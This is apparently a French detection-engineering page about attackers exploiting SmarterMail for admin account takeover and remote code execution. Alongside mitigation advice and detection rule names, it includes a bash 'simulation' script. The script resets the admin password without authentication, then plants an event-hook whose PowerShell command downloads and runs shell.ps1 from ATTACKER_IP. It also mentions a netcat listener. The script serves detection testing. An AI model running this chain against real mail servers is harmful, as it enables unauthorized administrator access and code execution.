DE&TH des Vulnérabilités : Huntress Détecte une Prise de Contrôle de Compte SmarterMail Menant à une exécution de code à distance (RCE)
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Huntress a observé l’exploitation à l’état sauvage de deux failles SmarterMail qui permettent la prise de contrôle de comptes privilégiés et, finalement, l’exécution de code à distance. Les attaquants initient des flux de réinitialisation de mot de passe sans authentification pour obtenir un jeton privilégié, puis abusent des « événements système » de SmarterMail pour exécuter des commandes de reconnaissance de l’hôte. L’activité a impacté plusieurs clients et montrait des signes d’exploitation automatisée à grande échelle.
Enquête
Les analystes de Huntress ont reconstruit une séquence cohérente de requêtes HTTP POST contre les points de terminaison API de SmarterMail utilisés pour déclencher des réinitialisations de mot de passe, authentifier, configurer des événements système, ajouter des domaines contrôlés par l’attaquant et supprimer ensuite les traces. La chaîne cible CVE-2026-23760 (prise de contrôle de compte privilégié) et CVE-2025-52691 (téléchargement de fichier arbitraire). Les requêtes utilisaient couramment l’user-agent python-requests/2.32.4, et les opérateurs laissaient derrière eux des fichiers result.txt contenant la sortie de reconnaissance des commandes exécutées.
Atténuation
Mettez à niveau SmarterMail vers la version 9511 ou ultérieure pour corriger les deux CVE. Révisez et resserrez l’exposition de l’API, désactivez ou restreignez les événements système inutiles, et surveillez les activités API anormales qui modifient les comptes, événements ou domaines. Identifiez et supprimez tout événement système et domaine créé par l’attaquant pour éliminer la persistance.
Réponse
Cherchez le schéma d’appel API suspect et l’user-agent python-requests/2.32.4, bloquez les IP source offensives et supprimez les événements système malveillants. Changez immédiatement les identifiants privilégiés. Effectuez une analyse judiciaire des terminaux pour localiser result.txt et valider si des charges supplémentaires ont été mises en scène. Notifiez les utilisateurs/clients impactés et fournissez des directives de remédiation claires.
Flux d’Attaque
Détections
Tentative d’exploitation possible de CVE-2026-23760 (SmarterMail) (via le serveur web)
Voir
IOC (DestinationIP) à détecter : DE&TH to Vulnerabilities : Huntress capture la prise de contrôle de compte SmarterMail conduisant à RCE Partie 2
Voir
IOC (DestinationIP) à détecter : DE&TH to Vulnerabilities : Huntress capture la prise de contrôle de compte SmarterMail conduisant à RCE Partie 1
Voir
IOC (SourceIP) à détecter : DE&TH to Vulnerabilities : Huntress capture la prise de contrôle de compte SmarterMail conduisant à RCE Partie 1
Voir
IOC (SourceIP) à détecter : DE&TH to Vulnerabilities : Huntress capture la prise de contrôle de compte SmarterMail conduisant à RCE Partie 2
Voir
Prise de contrôle de compte SmarterMail conduisant à RCE [Serveur Web]
Voir
Exécution de Simulation
Prérequis : Le contrôle pré-richesse & de télémetrie doit avoir été validé.
Narratif d’attaque & Commandes
- Reconnaissance : L’attaquant découvre que l’instance SmarterMail exécute une version vulnérable à CVE-2026-23760.
- Réinitialisation forcée du mot de passe (T1098) : En utilisant le
point de terminaison force-reset-passwordpour définir un mot de passe connu pour le compteadminprivilégié. - Authenficiation (T1078) : Connectez-vous avec les identifiants nouvellement définis via le
point de terminaison authenticate-user, obtenant un jeton de session. - Déployer un crochet événementiel malveillant (T1569) : POST un chargement JSON conçu sur
event-hookqui pointe vers un shell inversé PowerShell hébergé sur le serveur de l’attaquant. - Déclenchement de l’exécution : Le crochet événementiel s’exécute automatiquement sur le serveur web, générant un shell inversé vers l’attaquant.
- Nettoyage : Supprimez le crochet malveillant via le
point de terminaison event-hook-delete(exclu de la détection).
Toutes les étapes génèrent des événements HTTP POST qui correspondent aux critères de sélection de la règle Sigma.
Script de test de régression
#!/usr/bin/env bash
# -------------------------------------------------
# Prise de contrôle de compte SmarterMail & Simulation de RCE
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"
# 1. Réinitialisation forcée du mot de passe (non authentifiée)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"
# 2. Authentification et capture de jeton de session
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}"
| jq -r '.sessionToken')
# 3. Déploiement du hook événementiel malveillant (RCE)
PAYLOAD=$(cat <<EOF
{
"event":"mail-received",
"command":"powershell -NoP -W Hidden -Exec Bypass -Command "Invoke-WebRequest http://${ATTACKER_IP}:${ATTACKER_PORT}/shell.ps1 -OutFile $env:TEMPshell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMPshell.ps1""
}
EOF
)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook"
-H "Content-Type: application/json"
-H "Authorization: Bearer ${TOKEN}"
-d "${PAYLOAD}"
echo "[+] Hook événementiel malveillant déployé. En attente du shell inversé..."
# 4. (Optionnel) Attendre le shell inversé – l'attaquant exécute l'écouteur séparément:
# nc -lvnp ${ATTACKER_PORT}
# 5. Nettoyage – supprimer le hook (exclu de la détection)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete"
-H "Authorization: Bearer ${TOKEN}"
Commandes de Nettoyage
#!/usr/bin/env bash
# Supprimer tous les hooks malveillants résiduels et réinitialiser le mot de passe admin
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"
# Authentification avec le mot de passe sûr (si connu) ou utilisez le jeton précédent
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}"
| jq -r '.sessionToken')
# Supprimer le hook événementiel malveillant (s'il est encore présent)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete"
-H "Authorization: Bearer ${TOKEN}"
# Réinitialiser le mot de passe admin à une bonne valeur connue
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"